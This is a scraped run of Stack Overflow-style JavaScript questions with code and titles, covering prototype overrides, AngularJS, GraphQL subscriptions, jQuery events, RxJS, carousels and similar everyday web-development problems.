the String object `` some words here '' , and is this function changeable/overrideable.This started from me needing to output single digits with a preceding 0 on a page . This was easy enough to accomplish with a quick prototype function on the Number objectAnd call it with a simple ( 9 ) .SpecialFormat ( ) + `` words here '' ; But that got me wondering if I could overwrite the toString function on a Number with a , and just let javascripts automatic conversion handle it for me , so I could use a standard 9 + `` words here '' ; to get the same result `` 09 words here '' . This did not just implicitly work , I had to end up adding .toString to the 9 ( 9 ) .toString ( ) + `` words here '' ( which upon taking a further look , would have resulted in some infinite loops ) . So is there a way to override the built in functionality of a javascript native type ? *Note : I realize this is likely a 'worst idea ever ' var str = 9 + `` some words here '' ; Number.prototype.SpecialFormat = function ( ) { if ( this < 10 ) { return `` 0 '' + this ; } else { return this.toString ( ) ; } } ; Number.prototype.toString = function ( ) { if ( this < 10 ) { return `` 0 '' + this ; } else { return this ; } } ;",Automatic javascript type coercion "JS : repl.it : https : //repl.it/BuXR/3My question is why str2 is being changed even though it is not being reversed ? This is very upsetting to me , but I have a guess as to why this is happening . The tmp is just a pointer to the original str2 , and when I call reverse ( ) on tmp , it actually reverses str2 . Even if that really is what 's happening , I still feel like it is a very counterintuitive way for a language to work . var str = `` abc '' ; var str2 = str.split ( `` `` ) .join ( `` '' ) .split ( `` '' ) ; var tmp = str2 ; console.log ( str2 ) ; // = > [ ' a ' , ' b ' , ' c ' ] console.log ( tmp.reverse ( ) ) ; // = > [ ' c ' , ' b ' , ' a ' ] console.log ( str2 ) ; // = > [ ' c ' , ' b ' , ' a ' ]",Why is this happening ? ( javaScript 's reverse method ) "JS : Possible Duplicate : Find object by id in an array of JavaScript objects How to check if value exists in this JavaScript array ? For example : var arr = [ { id : 1 , color : 'blue ' } , { id : 2 , color : 'red ' } , { id : 3 , color : 'yellow ' } ] ; alert ( indexOf ( 'blue ' ) ) ; // How can I get the index of blue ? ?",JavaScript : Best way to find if a value is inside an object in an array "JS : With a input of that type in angularjs ( 1.6.1 ) gives undefined for values between 9.03 to 9.05 inclusively . The problem reproduces with other values , among others 9.62 , 9.63 , 17.31.This fiddle reproduces the problem . Just click up in the numeric input.Tested on firefox and chromium under linux mint 18.It seems linked to the `` step '' attribute . If it is set to `` 0.001 '' there 's no problem . But I threat money in this application , so 2 decimal is needed.Note : if value is initially set to 9.03 via data-numeric-value , it is not undefined.Any workaround for this bug ? editupdated fiddle to show behavior whit step= '' 0.01 '' versus step= '' 0.001 '' edit 2I made a plunkr while filling the bug report , to find that the bug is corrected in the `` snapshot '' version , witch is 1.6.2 . But this version is not available for download via the angularjs site for the moment . < input type= '' number '' step= '' 0.01 '' data-ng-model= '' $ ctrl.numericValue '' / >",Number input with 0.01 steps gives undefined for certain values in angularjs "JS : Looking for a way to mimic Flickr API logic to use Google views.On Flickr I can call the flickr.photos.search method and get all the photos for a specific location like so : https : //api.flickr.com/services/rest/ ? method=flickr.photos.search & api_key=cb33497ccae3482a7d5252f15b790fe3 & woe_id=727232 & format=rest & api_sig=bc7b1227243d969498f9d7643438f18fThe response : Then I call flickr.photos.getInfo for each photo id to get the photo infoThe Response : I 'm interested in the longitude , latitude , time taken and user info . I 've looked through the Google places API but could n't find a way.Update : just to be clear , I 've found the place details request , on Google API but the photos result does not contain location or user data : Any advice would be appreciated : ) < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < rsp stat= '' ok '' > < photos page= '' 1 '' pages= '' 7673 '' perpage= '' 100 '' total= '' 767266 '' > < photo id= '' 17856165012 '' owner= '' 91887621 @ N04 '' secret= '' 6d2acf3b87 '' server= '' 7690 '' farm= '' 8 '' title= '' Amsterdam Canal '' ispublic= '' 1 '' isfriend= '' 0 '' isfamily= '' 0 '' / > < photo id= '' 17830118816 '' owner= '' 131827681 @ N05 '' secret= '' ee8b55fc5e '' server= '' 7756 '' farm= '' 8 '' title= '' IMG_2209 '' ispublic= '' 1 '' isfriend= '' 0 '' isfamily= '' 0 '' / > < photo id= '' 17668921970 '' owner= '' 131827681 @ N05 '' secret= '' bd0061e638 '' server= '' 8825 '' farm= '' 9 '' title= '' IMG_2210 '' ispublic= '' 1 '' isfriend= '' 0 '' isfamily= '' 0 '' / > < photo id= '' 17853550052 '' owner= '' 131827681 @ N05 '' secret= '' c834e9a7eb '' server= '' 7738 '' farm= '' 8 '' title= '' IMG_2212 '' ispublic= '' 1 '' isfriend= '' 0 '' isfamily= '' 0 '' / > < photo id= '' 17856935911 '' owner= '' 131827681 @ N05 '' secret= '' 39be86bb4b '' server= '' 7723 '' farm= '' 8 '' title= '' IMG_2213 '' ispublic= '' 1 '' isfriend= '' 0 '' isfamily= '' 0 '' / > < photo id= '' 17233920844 '' owner= '' 131827681 @ N05 '' secret= '' 8be2333be3 '' server= '' 7658 '' farm= '' 8 '' title= '' IMG_2214 '' ispublic= '' 1 '' isfriend= '' 0 '' isfamily= '' 0 '' / > < photo id= '' 17853542232 '' owner= '' 131827681 @ N05 '' secret= '' 8f19ee65c2 '' server= '' 7747 '' farm= '' 8 '' title= '' IMG_2215 '' ispublic= '' 1 '' isfriend= '' 0 '' isfamily= '' 0 '' / > < photo id= '' 17856926911 '' owner= '' 131827681 @ N05 '' secret= '' bc0fb6dbc1 '' server= '' 7667 '' ... . < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < rsp stat= '' ok '' > < photo id= '' 17853542232 '' secret= '' 8f19ee65c2 '' server= '' 7747 '' farm= '' 8 '' dateuploaded= '' 1432037570 '' isfavorite= '' 0 '' license= '' 0 '' safety_level= '' 0 '' rotation= '' 90 '' originalsecret= '' 7848968317 '' originalformat= '' jpg '' views= '' 2 '' media= '' photo '' > < owner nsid= '' 131827681 @ N05 '' username= '' trashhunters '' realname= '' Trash Hunters '' location= '' '' iconserver= '' 7748 '' iconfarm= '' 8 '' path_alias= '' trashhunters '' / > < title > IMG_2215 < /title > < description / > < visibility ispublic= '' 1 '' isfriend= '' 0 '' isfamily= '' 0 '' / > < dates posted= '' 1432037570 '' taken= '' 2015-05-17 13:47:32 '' takengranularity= '' 0 '' takenunknown= '' 0 '' lastupdate= '' 1432040217 '' / > < editability cancomment= '' 0 '' canaddmeta= '' 0 '' / > < publiceditability cancomment= '' 1 '' canaddmeta= '' 0 '' / > < usage candownload= '' 1 '' canblog= '' 0 '' canprint= '' 0 '' canshare= '' 1 '' / > < comments > 0 < /comments > < notes / > < people haspeople= '' 0 '' / > < tags > < tag id= '' 131822341-17853542232-563433 '' author= '' 131827681 @ N05 '' authorname= '' trashhunters '' raw= '' blikje '' machine_tag= '' 0 '' > blikje < /tag > < tag id= '' 131822341-17853542232-81138 '' author= '' 131827681 @ N05 '' authorname= '' trashhunters '' raw= '' fanta '' machine_tag= '' 0 '' > fanta < /tag > < /tags > < location latitude= '' 52.367408 '' longitude= '' 4.862769 '' accuracy= '' 16 '' context= '' 0 '' place_id= '' xQ4tawtWUL1NrOY '' woeid= '' 727232 '' > < locality place_id= '' xQ4tawtWUL1NrOY '' woeid= '' 727232 '' > Amsterdam < /locality > < county place_id= '' nmbnjNtQUL_iOTHdPg '' woeid= '' 12592040 '' > Amsterdam < /county > < region place_id= '' F86XYCBTUb6DPzhs '' woeid= '' 2346379 '' > North Holland < /region > < country place_id= '' Exbw8apTUb6236fOVA '' woeid= '' 23424909 '' > Netherlands < /country > < /location > < geoperms ispublic= '' 1 '' iscontact= '' 0 '' isfriend= '' 0 '' isfamily= '' 0 '' / > < urls > < url type= '' photopage '' > https : //www.flickr.com/photos/trashhunters/17853542232/ < /url > < /urls > < /photo > < /rsp > ... '' photos '' : [ { `` height '' : 2322 , `` html_attributions '' : [ `` \u003ca href=\ '' //lh5.googleusercontent.com/-QO7PKijayYw/AAAAAAAAAAI/AAAAAAAAAZc/fTtRm3YH3cA/s100-p-k/photo.jpg\ '' \u003eWilliam Stewart\u003c/a\u003e '' ] , `` raw_reference '' : { `` fife_url '' : `` https : //lh3.googleusercontent.com/-7mKc4261Edg/VB01Tfy2OWI/AAAAAAAADII/BHs-SIudu64/k/ '' } , `` width '' : 4128 } , ...",Google views - get photos details for a region "JS : I get the following error : when I try to authenticate the user using the following code I wrote : What could be the reason for this ? What am I missing ? TypeError : __WEBPACK_IMPORTED_MODULE_0_aws_sdk_global__.util.crypto.lib.randomBytes is not a function import { CognitoUserPool , CognitoUserAttribute , CognitoUser , AuthenticationDetails } from 'amazon-cognito-identity-js ' ; let authenticationDetails = new AuthenticationDetails ( { Username : username , Password : password } ) ; let userPool = new CognitoUserPool ( { UserPoolId : 'us-east-1_1TXXXXXXbXX ' , ClientId : '4da8hrXXXXXXXXXXXXmj1 ' } ) ; let cognitoUser = new CognitoUser ( { Username : username , Pool : userPool } ) ; // THE ERROR IS THROWN AS SOON AS IT HITS THE BELOW// STATEMENTcognitoUser.authenticateUser ( authenticationDetails , { onSuccess : function ( result ) { console.log ( 'access token + ' + result.getAccessToken ( ) .getJwtToken ( ) ) ; } , onFailure : function ( err ) { console.log ( err ) ; } } ) ;",util.crypto.lib . randomBytes is not a function : aws cognito js throws error on authentication "JS : I was reading some documentation about javascript and stumbled upon the following code example : It outputs window.I can not figure out why is the this keyword bound to the global object ( window ) instead of the parent object ( outer ) .If you want to access outer from inner 's scope , you have to pass the outer 's this ( which is just like passing outer itself ) to its local inner function as an argument . So , as expected : outputs outer.Is n't it a bit of a nonsense that in outer 's scope this is bound to the object itself ( i.e . outer ) , while in the inner 's scope , which is local to outer , this is re-bound to the global object ( i.e . it overrides outer 's binding ) ? The ECMAScript specs states that when entering the execution context for function code if the « caller provided thisArg » is either null or undefined , then this is bound to the global object.But the following : outputs the object outer itself : On a side , but probably relevant , note : In strict mode the first code snippet outputs undefined instead of window . var o = { value : 1 , outer : function ( ) { var inner = function ( ) { console.log ( this ) ; //bound to global object } ; inner ( ) ; } } ; o.outer ( ) ; var o = { value : 1 , outer : function ( ) { var inner = function ( that ) { console.log ( that ) ; //bound to global object } ; inner ( this ) ; } } ; o.outer ( ) ; var o = { outer : function ( ) { var inner = function ( ) { console.log ( 'caller is ' + arguments.callee.caller ) ; } ; inner ( ) ; } } caller is function ( ) { var inner = function ( ) { console.log ( 'caller is ' + arguments.callee.caller ) ; } ; inner ( ) ; }",Why nested local function binds ` this ` to window instead of the parent "JS : I have a GraphQL powered app . The query and mutation parts work well . I try to add GraphQL subscription.The server GraphQL subscription part code is inspired by the demo in the readme of apollographql/subscriptions-transport-ws.Please also check the comments in the code for more details.I am using Altair GraphQL Client to test since it supports GraphQL subscription.As the screenshot shows , it does get new data every time when the data changes in database.However , meChanged is null and it does not throw any error . Any idea ? Thanks import Koa from 'koa ' ; import Router from 'koa-router ' ; import graphqlHTTP from 'koa-graphql ' ; import asyncify from 'callback-to-async-iterator ' ; import { SubscriptionServer } from 'subscriptions-transport-ws ' ; import firebase from 'firebase-admin ' ; import { execute , subscribe } from 'graphql ' ; import { GraphQLObjectType , GraphQLString } from 'graphql ' ; const MeType = new GraphQLObjectType ( { name : 'Me ' , fields : ( ) = > ( { name : { type : GraphQLString } , // ... } ) , } ) ; const listenMe = async ( callback ) = > { // Below the firebase API returns real-time data return firebase .database ( ) .ref ( '/users/123 ' ) .on ( 'value ' , ( snapshot ) = > { // snapshot.val ( ) returns an Object including name field . // Here I tested is correct , it always returns { name : 'Rose ' , ... } // when some other fields inside got updated in database . return callback ( snapshot.val ( ) ) ; } ) ; } ; const Subscription = new GraphQLObjectType ( { name : 'Subscription ' , fields : ( ) = > ( { meChanged : { type : MeType , subscribe : ( ) = > asyncify ( listenMe ) , } , } ) , } ) ; const schema = new GraphQLSchema ( { query : Query , mutation : Mutation , subscription : Subscription , } ) ; const app = new Koa ( ) ; app .use ( new Router ( ) .post ( '/graphql ' , async ( ctx ) = > { // ... await graphqlHTTP ( { schema , graphiql : true , } ) ( ctx ) ; } ) .routes ( ) ) ; const server = app.listen ( 3009 ) ; SubscriptionServer.create ( { schema , execute , subscribe , } , { server , path : '/subscriptions ' , } , ) ;",How to use GraphQL subscription correctly ? "JS : I 've worked a bit with jquery tools and I 've started browsing through the twitter bootstrap src.One thing I 've noticed is the use of the $ .Event constructor for triggering events.In many cases , ( for instance the bootstrap modal ) you find events triggered like so : It eludes me as to why this is better than just directly calling : so I 'm interested to know what the advantages are to using the jQuery Event constructor . I 've read in the docs that you can attach arbitrary properties to the event , and that makes total sense to me . What I do n't understand however is why it might be advantageous to use the constructor if you 're not adding any properties to the event at all.Can someone explain to me why the $ .Event constructor is an advantage over calling trigger with the event string ? Many thanks var e = $ .Event ( 'show ' ) ; this. $ element.trigger ( e ) ; this. $ element.trigger ( 'show ' ) ;",jQuery Event constructor "JS : I want to create an RxJS observable stream from Google Map events . I know how to do this from native browser events , like so : The mousemove is a browser event , which leads me to believe that .fromEvent ( ) recognizes mousemove as a hard-coded default . However , if I want to recognize custom events how can I create an observable stream ? Take for example Google Maps : The reason why I want to convert these google map events into an observable stream is so that I can use RxJS debounce for performance improvements . That way center_changed is only recognized in batches ( instead of firing 10x over 2 seconds , it just recognizes the last 1x in that same 2 seconds ) . My dilemma is converting that custom Google Maps event into an observable stream . Perhaps there is an easy way to continuously add to an observable , but from my search I have not found out how to do that . I really appreciate your help in this matter ! var result = document.getElementById ( 'result ' ) ; var source = Rx.Observable.fromEvent ( document , 'mousemove ' ) ; var subscription = source.subscribe ( function ( e ) { result.innerHTML = e.clientX + ' , ' + e.clientY ; } ) ; var map = new google.maps.Map ( document.getElementById ( 'map ' ) , { zoom : 4 , center : { lat : -25.363 , lng : 131.044 } } ) ; map.addListener ( 'center_changed ' , function ( ) { var center = map.getCenter ( ) console.log ( center ) } ) ;",How to convert custom library events ( ie . Google Maps events ) into Observable stream in RxJS ? "JS : I was reading John Resig 's Secrets of JavaScript Ninja and saw this code : I know ! ! is used to convert an expression into boolean . But my question is why does he use : Is n't that redundant because swung is already a boolean variable or am I missing something ? BTW here is full relevant code just in case : function Ninja ( ) { this.swung = false ; // Should return true this.swingSword = function ( ) { return ! ! this.swung ; } ; } return ! ! this.swung ; function Ninja ( ) { this.swung = false ; // Should return true this.swingSword = function ( ) { return ! ! this.swung ; } ; } // Should return false , but will be overridden Ninja.prototype.swingSword = function ( ) { return this.swung ; } ; var ninja = new Ninja ( ) ; assert ( ninja.swingSword ( ) , `` Calling the instance method , not the prototype method . '' )",! ! expression for boolean "JS : I need some advice for getting a basic express app to work on my site . The site is hosted on Arvixe.com windows hosting . I can run code on my localhost and it works but as soon as I move it to the Arvixe site it is giving me a 404 error - file or directory not found . At the root of my site I have a folder called node_modules that has express in it . I also have a app.js file and a web.config file.This is the web.config file : This is the app.js file : The only difference between the localhost version and this version is there is a web.config file and in app.js I changed app.listen to use PORT instead of a local port number . The only files I 'm accessing should be app.js and express and they are both there . I 'm very new to node.js and express . Am I missing something about how these files communicate between one another or what is happening to stop my site from running ? Is there a simple way I could debug things like this in the future ? < configuration > < system.webServer > < handlers > < add name= '' iisnode '' path= '' app.js '' verb= '' * '' modules= '' iisnode '' / > < /handlers > < defaultDocument enabled= '' true '' > < files > < add value= '' app.js '' / > < /files > < /defaultDocument > < /system.webServer > < /configuration > var express = require ( 'express ' ) ; var app = express ( ) ; app.get ( '/ ' , function ( request , response ) { response.send ( `` This would be some HTML '' ) ; } ) ; app.get ( '/api ' , function ( request , response ) { response.send ( { name : '' Raymond '' , age:40 } ) ; } ) ; app.listen ( process.env.PORT ) ;",Running basic node.js on windows hosted site "JS : I have part of a game where the cursor is supposed to `` slow down '' when it passes over certain divs . I 'm using a function that can detect a collision with the div . This works fine when the cursor meets the first div , but it does n't work at all on the second div.Check out this jsFiddle for a better idea of what I 'm talking about . Pass the cursor over the first white block ( class='thing ' ) on the left and it slows down . Pass the cursor over the other block ( also class='thing ' ) , and nothing happens . I need this collision function to work on all divs where class='thing'.HTMLJS < div id='cursor ' > & nbsp ; < /div > < div class='thing ' style='width:70px ; height:70px ; background : # fff ; position : absolute ; bottom : 350px ; right : 800px ; z-index : -1 ; ' > & nbsp ; < /div > < div class='thing ' style='width:70px ; height:70px ; background : # fff ; position : absolute ; bottom : 200px ; right : 400px ; z-index : -1 ; ' > & nbsp ; < /div > ( function collide ( ) { var newInt = setInterval ( function ( ) { function collision ( $ cursor , $ thing ) { var x1 = $ cursor.offset ( ) .left ; var y1 = $ cursor.offset ( ) .top ; var h1 = $ cursor.outerHeight ( true ) ; var w1 = $ cursor.outerWidth ( true ) ; var b1 = y1 + h1 ; var r1 = x1 + w1 ; var x2 = $ thing.offset ( ) .left ; var y2 = $ thing.offset ( ) .top ; var h2 = $ thing.outerHeight ( true ) ; var w2 = $ thing.outerWidth ( true ) ; var b2 = y2 + h2 ; var r2 = x2 + w2 ; // change 12 to alter damping higher is slower var varies = 12 ; if ( b1 < y2 || y1 > b2 || r1 < x2 || x1 > r2 ) { } else { varies = 200 ; console.log ( varies ) ; } $ xp += ( ( $ mouseX - $ xp ) /varies ) ; $ yp += ( ( $ mouseY - $ yp ) /varies ) ; $ ( `` # cursor '' ) .css ( { left : $ xp +'px ' , top : $ yp +'px ' } ) ; } $ ( collision ( $ ( ' # cursor ' ) , $ ( '.thing ' ) ) ) ; // $ ( '.result ' ) .text ( collision ( $ ( ' # cursor ' ) , $ ( '.thing ' ) ) ) ; } , 20 ) ; } ) ( ) ;",JavaScript function only affects first div with class "JS : I have problem with parse . I wrote cloud code how can I make the inside if block run only if the user is new user ? Parse.Cloud.afterSave ( Parse.User , function ( request ) { var user = request.object ; if ( ! user.existed ( ) ) { //all the times ! user.existed ( ) is true when I save user object //also in signup is true } } )",Parse request.object.existed ( ) return false "JS : I have a for loop that creates div-elements with IDs like 'category1 ' , 'category2 ' etc . The loop goes through a key/value array , which looks something like this : So , the IDs of the divs are 'category ' + the key.Within the for-loop where the elements are added to the innerHTML of a container-div , I add an onclick-event.This is the for-loop that I 'm talking about : where categories is the above array.The problem is , the onclick is only working for the LAST element in the array . If I check with the Safari-debugger and type `` category3.onclick '' it says null . If I type `` category4.onclick '' ( which is the last one ) it returns the correct function.How is this possible ? And how to solve it ? `` 0 '' : `` Java '' , '' 1 '' : `` JavaScript '' , '' 2 '' : `` HTML '' for ( var key in categories ) { categoriesBlock.innerHTML += ' < div class= '' category '' id= '' category ' + key + ' '' > ' + categories [ key ] + ' < /div > ' ; document.getElementById ( 'category ' + key ) .onclick = function ( ) { showPostsForCategory ( key , categories [ key ] ) ; } }",Dynamically creating elements and adding onclick event not working "JS : This question is so basic , yet I have no idea of the answer.Why screen object when stringified returns empty ? Does this mean JSON.stringify ( ) needs read/write access to the input ? let a = { foo : 'one ' , bar : 2 } ; console.log ( JSON.stringify ( a ) ) ; console.log ( JSON.stringify ( screen ) ) ;",Why JSON.stringify ( ) returns empty result for some objects "JS : The following code produces a syntax error in Chrome and Firefox , but not Node.js : However , the following code works everywhere : Also , the following works everywhere : What is the explanation for this strange behavior ? { `` hello '' : 1 } var x = { `` hello '' : 1 } { hello : 1 }",JavaScript object literals syntax error JS : I am trying to validate a large contact form . When the user forgets a required input field then I populate the empty variable with default text.My current solution uses nine if statements . Is there a better way to do it with less code ? html : < xehases class= '' '' id= '' xehases '' > < /xehases > var onoma = $ ( `` # fname '' ) .val ( ) ; var eponimo = $ ( `` # lname '' ) .val ( ) ; var email = $ ( `` # email '' ) .val ( ) ; var diefthinsi = $ ( `` # address '' ) .val ( ) ; var poli = $ ( `` # city '' ) .val ( ) ; var xora = $ ( `` # country '' ) .val ( ) ; var katigoriaDiafimisis = $ ( `` # AdCategory '' ) .val ( ) ; var plano = $ ( `` # plan '' ) .val ( ) ; var istoselida = $ ( `` # website '' ) .val ( ) ; var epixirisi = $ ( `` # company '' ) .val ( ) ; var minima = $ ( `` # message '' ) .val ( ) ; var missing = ' ' ; if ( onoma === `` '' ) { missing += 'Όνομα ' ; $ ( `` xehases # xehases '' ) .html ( missing ) ; } else { $ ( `` xehases # xehases '' ) .html ( missing ) ; } if ( eponimo === `` '' ) { missing += 'Επώνυμο ' ; $ ( `` xehases # xehases '' ) .html ( missing ) ; } else { $ ( `` xehases # xehases '' ) .html ( missing ) ; } if ( email === `` '' ) { missing += 'email ' ; $ ( `` xehases # xehases '' ) .html ( missing ) ; } else { $ ( `` xehases # xehases '' ) .html ( missing ) ; } if ( poli === `` '' ) { missing += 'Πόλη ' ; $ ( `` xehases # xehases '' ) .html ( missing ) ; } else { $ ( `` xehases # xehases '' ) .html ( missing ) ; } if ( xora === `` please choose a category '' ) { missing += 'Χώρα ' ; $ ( `` xehases # xehases '' ) .html ( missing ) ; } else { $ ( `` xehases # xehases '' ) .html ( missing ) ; } if ( plano === `` '' ) { missing += 'Πλάνο ' ; $ ( `` xehases # xehases '' ) .html ( missing ) ; } else { $ ( `` xehases # xehases '' ) .html ( missing ) ; } if ( katigoriaDiafimisis === `` '' ) { missing += 'Κατηγορία Διαφήμισης ' ; $ ( `` xehases # xehases '' ) .html ( missing ) ; } else { $ ( `` xehases # xehases '' ) .html ( missing ) ; } if ( epixirisi === `` '' ) { missing += 'Επιχείρηση ' ; $ ( `` xehases # xehases '' ) .html ( missing ) ; } else { $ ( `` xehases # xehases '' ) .html ( missing ) ; } if ( minima === `` '' ) { missing += 'Μήνυμα ' ; $ ( `` xehases # xehases '' ) .html ( missing ) ; } else { $ ( `` xehases # xehases '' ) .html ( missing ) ; },How to reduce code of multiple if statements "JS : So I get the image url in my database , get the data via AJAX and load the image like this : ( Updated to show all steps ) The code runs fine , the image appears fine . But in firefox the tab loading spinner never stops . In chrome that problem does n't happen.If I comment the append line : //img.appendTo ( div ) ; or the Bootstrap Carousel line : the spinner stops . So I really do n't know why this is happening . I appreciate any help.UPDATE : It happens in the first time when there is no cache . I 'm using Firefox 17.The Carousel HTML : //GET urls from server $ .get ( `` /homeBanners '' , null , function ( data ) { $ .each ( data , function ( i , banner ) { console.log ( i ) ; generateSlide ( banner , i ) ; } ) ; } ) ; //Generate a slide for loaded URLfunction generateSlide ( banner , index ) { var li = $ ( ' < li > ' ) .attr ( 'data-target ' , ' # slideCarousel ' ) .attr ( 'data-slide-to ' , index ) ; var div = $ ( ' < div > ' ) .attr ( 'class ' , 'item ' ) ; if ( index == 0 ) { li.addClass ( 'active ' ) ; div.addClass ( 'active ' ) } li.appendTo ( '.carousel-indicators ' ) ; div.appendTo ( '.carousel-inner ' ) ; var img = $ ( ' < img / > ' ) .attr ( 'src ' , banner.image_url ) .on ( 'load ' , function ( ) { if ( ! this.complete || typeof this.naturalWidth == `` undefined '' || this.naturalWidth == 0 ) { alert ( 'broken image ! ' ) ; } else { //div.append ( img ) ; img.appendTo ( div ) ; // $ ( ' # slideCarousel ' ) .before ( ' < div id= '' nav '' > < /div > ' ) .carousel ( ) .removeClass ( 'hidden ' ) ; $ ( ' # slideCarousel ' ) .carousel ( ) .removeClass ( 'hidden ' ) ; } } ) ; } > // $ ( ' # slideCarousel ' ) .before ( ' < div id= '' nav '' > ' ) .carousel ( ) .removeClass ( 'hidden ' ) ; < div id= '' slideshow '' > < div class= '' container_12 '' > < div id= '' nav '' > < /div > < div id= '' slideCarousel '' class= '' grid_12 carousel slide hidden '' > < ol class= '' carousel-indicators '' > < ! -- AJAX -- > < /ol > < ! -- Carousel items -- > < div class= '' carousel-inner '' > < ! -- AJAX -- > < /div > < ! -- Carousel nav -- > < a class= '' carousel-control left '' href= '' # slideCarousel '' data-slide= '' prev '' > & lsaquo ; < /a > < a class= '' carousel-control right '' href= '' # slideCarousel '' data-slide= '' next '' > & rsaquo ; < /a > < /div > < /div > < /div >",Firefox tab loading spinner runs forever if I load a image asynchronously "JS : In the simple test code below I push the number 10 into an array and then splice 'hello world ' into the array on the 2nd index . It works as expected.However is it possible to do this on one line ? I tried chaining in the example below and it throws an error . I ca n't find anyone talking about this online . `` use strict '' ; let myArray = [ 1 , 2 , 3 , 4 , 5 ] ; myArray.push ( 10 ) ; myArray.splice ( 2 , 0 , 'hello world ' ) ; console.log ( myArray ) ; `` use strict '' ; let myArray = [ 1 , 2 , 3 , 4 , 5 ] ; myArray.push ( 10 ) .splice ( 2 , 0 , 'hello world ' ) ; console.log ( myArray ) ;",Is there a way to apply multiple Array methods to an array in 1 line ? "JS : I am using Google place autocomplete . And I do n't know how to get place_id of address_components . In JSON there are only long_name , short_name , types . My code is here : Here is my JSON ( picture ) I do n't need place_id of my place . I need especially place_ids of address_components var object_location = document.getElementById ( 'object_location ' ) , autoComplete = new google.maps.places.Autocomplete ( object_location ) ; autoComplete.addListener ( 'place_changed ' , function ( ) { var place = autoComplete.getPlace ( ) ; console.log ( 'place = ' , place ) ; } ) ;",Get place_id of address_components "JS : I am getting a compilation error in ember-cli whenever I have a Handelbars template that uses @ vars variables ( i.e. , @ index , @ key , @ first , @ last ) inside of the each helper . ( See http : //handlebarsjs.com/ # iteration for documentation on these @ vars variables inside the each helper . ) Below is a simple application built using ember-cli and containing only two files added to the program : routes/application.js and templates/application.hbs . At the bottom of this post is a screenshot of the compilation error message given by ember-cli . Is there an error in my code ? Or is this a bug I should report on github @ https : //github.com/stefanpenner/ember-cli ? routes/application.jstemplates/application.hbsScreenshot of ember-cli compilation error message : Here are the versions of the various tools involved : ember-cli : 0.0.40node : 0.10.30npm : 1.4.21Handlebars : 1.3.0Ember : 1.6.1 export default Ember.Route.extend ( { model : function ( ) { return [ 'red ' , 'blue ' , 'green ' ] ; } } ) ; { { # each model } } { { @ index } } : { { this } } { { /each } }","ember-cli support for Handlebars @ vars in each helper ( i.e. , @ index , @ key , @ first , @ last )" "JS : I have a KO app and each of my pages has a separate view model that handles all the actions required on that page ( load , add , edit , delete , etc ) . I 've managed to split the code up into multiple modules using RequireJS , but I ca n't find a way for multiple view models to work at once using Sammy.This is the setup I have in my init.js file at the moment , which loads the content on the first page . And it works : How can I bind my other view models to the other pages ? I also tried adding a separate ko.applyBindings for each page inside this.get , which threw an error when I switched back to a page that had already applied those bindings . require ( [ 'jquery ' , 'ko ' , 'sammy ' , 'viewmodels/page1 ' ] , function ( $ , ko , sammy , page1 ) { var page1VM = new page1.ViewModel ( ) ; ko.applyBindings ( page1VM ) ; var app = sammy ( ' # wrapper ' , function ( ) { this.get ( ' # page1 ' , function ( ) { page1VM.loadContent ( ) ; } ) ; this.get ( ' # page2 ' , function ( ) { // do nothing yet } ) ; [ ... ] this.get ( ' # pageX ' , function ( ) { // do nothing yet } ) ; } ) ; app.run ( ' # page1 ' ) ; } ) ;","Knockout , Require , Sammy and a view model for each page – how do I make it work ?" "JS : I do n't know why people 's are not answering this question.I 'm making a horizontal infinite loop slider . What approach i 'm using is making a ul container which has 3 images , for example if there are 3 images then clone the first image and place it to the end of the slider , same with last image make clone and place it before the first image . So now total images are 5 . Default slider translation always start from first image not from clone one . Here is an example . What i 'm facing is , I want to reset the slider after slider comes to the last clone image with same continuous loop like a carousel slider . I try using addEventListener with the event name transitionend but that event does n't perform correctly and showing unsatisfied behavior . Is there a way to fix this ? ( function ( ) { var resetTranslation = `` translate3d ( -300px,0px,0px ) '' ; var elm = document.querySelector ( '.Working ' ) ; elm.style.transform = resetTranslation ; var arr = document.querySelectorAll ( '.Working li ' ) ; var clonefirst , clonelast , width = 300 ; index = 2 ; clonefirst = arr [ 0 ] .cloneNode ( true ) ; clonelast = arr [ arr.length - 1 ] .cloneNode ( true ) ; elm.insertBefore ( clonelast , arr [ 0 ] ) ; arr [ arr.length - 1 ] .parentNode.insertBefore ( clonefirst , arr [ arr.length - 1 ] .nextSibling ) ; //Update arr = document.querySelectorAll ( '.Working li ' ) ; elm.style.transition = 'transform 1.5s ease ' ; setInterval ( function ( ) { elm.style.transform = 'translate3d ( - ' + index * width + 'px,0px,0px ) ' ; if ( index == arr.length - 1 ) { elm.addEventListener ( 'transitionend ' , function ( ) { elm.style.transform = resetTranslation ; } ) ; index = 1 ; } index++ ; } , 4000 ) } ) ( ) ; * { box-sizing : border-box ; } .wrapper { position : relative ; overflow : hidden ; height : 320px ; width : 300px ; } .Working { list-style : none ; margin : 0 ; padding : 0 ; position : relative ; width : 3125 % ; } .Working li { position : relative ; float : left ; } img { max-width : 100 % ; display : block ; } .SubContainer : after { display : table ; clear : both ; content : `` '' ; } < div class= '' wrapper '' > < ul class= '' SubContainer Working '' > < li > < img class= '' '' src= '' http : //i.imgur.com/HqQb9V9.jpg '' / > < /li > < li > < img class= '' '' src= '' http : //i.imgur.com/PMBBc07.jpg '' / > < /li > < li > < img class= '' '' src= '' http : //i.imgur.com/GRrGSxe.jpg '' / > < /li > < /ul > < /div >",Javascript Slider does n't work correctly with transition end "JS : What does assigning a variable to { } , mean ? Is that initializing it to a function ? I have code in a javascript file that says thishow is that assignment different from an array ? Is it a type of array ? GLGE.Wavefront = function ( uid ) { GLGE.Assets.registerAsset ( this , uid ) ; this.multimaterials = [ ] ; this.materials = { } ; // < -- - this.instances = [ ] ; this.renderCaches = [ ] ; this.queue = [ ] ; } ;",Meaning of ' { } ' in javascript "JS : Why in node.js is { } == { } equivalent to false , but is { } + { } == { } + { } equivalent to true ? > { } == { } false > { } + { } == { } + { } true","Why { } == { } is false , but { } + { } == { } + { } is true" "JS : I was following Facebook general guidlines to include Share button ( Social Plugin ) https : //developers.facebook.com/docs/plugins/share-button_social.html.erbfb_share.jsapplication.jsThe button renders on first page load , works correctly also . But is not rendered when navigating to next page and back . If I include fb_share.js file in application.js file ( before turbolinks ) it does n't show up at all . < div id= '' fb-root '' > < div class= '' fb-share-button '' data-href= '' http : //www.example.com '' data-layout= '' button_count '' > < /div > < /div > var fb_share ; fb_share = function ( d , s , id ) { var js , fjs = d.getElementsByTagName ( s ) [ 0 ] ; if ( d.getElementById ( id ) ) return ; js = d.createElement ( s ) ; js.id = id ; js.src = `` //connect.facebook.net/en_US/sdk.js # xfbml=1 & 